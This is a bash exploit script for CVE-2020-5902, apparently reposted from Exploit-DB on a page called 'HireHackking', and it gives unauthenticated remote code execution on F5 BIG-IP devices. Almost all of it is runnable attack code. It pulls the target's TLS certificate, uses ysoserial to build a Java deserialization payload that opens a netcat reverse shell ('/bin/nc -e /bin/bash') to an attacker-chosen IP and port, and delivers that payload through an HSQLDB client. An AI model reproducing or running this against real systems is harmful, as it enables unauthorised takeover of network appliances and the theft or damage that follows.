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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/bin/bash
#
# EDB Note Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48642.zip
# 
# Exploit Title: F5 BIG-IP Remote Code Execution
# Date: 2020-07-06
# Exploit Authors: Charles Dardaman of Critical Start, TeamARES
#                  Rich Mirch of Critical Start, TeamARES
# CVE: CVE-2020-5902
#
# Requirements:
#   Java JDK
#   hsqldb.jar 1.8
#   ysoserial https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
#

if [[ $# -ne 3 ]]
then
  echo
  echo "Usage: $(basename $0) <server> <localip> <localport>"
  echo
  exit 1
fi

server=${1?hostname argument required}
localip=${2?Locaip argument required}
port=${3?Port argument required}

if [[ ! -f $server.der ]]
then
  echo "$server.der does not exist - extracting cert"
  openssl s_client \
          -showcerts \
          -servername $server \
          -connect $server:443 </dev/null 2>/dev/null | openssl x509 -outform DER >$server.der

  keytool -import \
          -alias $server \
          -keystore keystore \
          -storepass changeit \
          -noprompt \
          -file $PWD/$server.der
else
  echo "$server.der already exists. skipping extraction step"
fi

java -jar ysoserial-master-SNAPSHOT.jar \
     CommonsCollections6 \
     "/bin/nc -e /bin/bash $localip $port" > nc.class

xxd -p nc.class | xargs | sed -e 's/ //g' | dd conv=ucase 2>/dev/null > payload.hex

if [[ ! -f f5RCE.class ]]
then
  echo "Building exploit"
  javac -cp hsqldb.jar f5RCE.java
fi

java -cp hsqldb.jar:. \
     -Djavax.net.ssl.trustStore=keystore \
     -Djavax.net.ssl.trustStorePassword=changeit \
     f5RCE $server payload.hex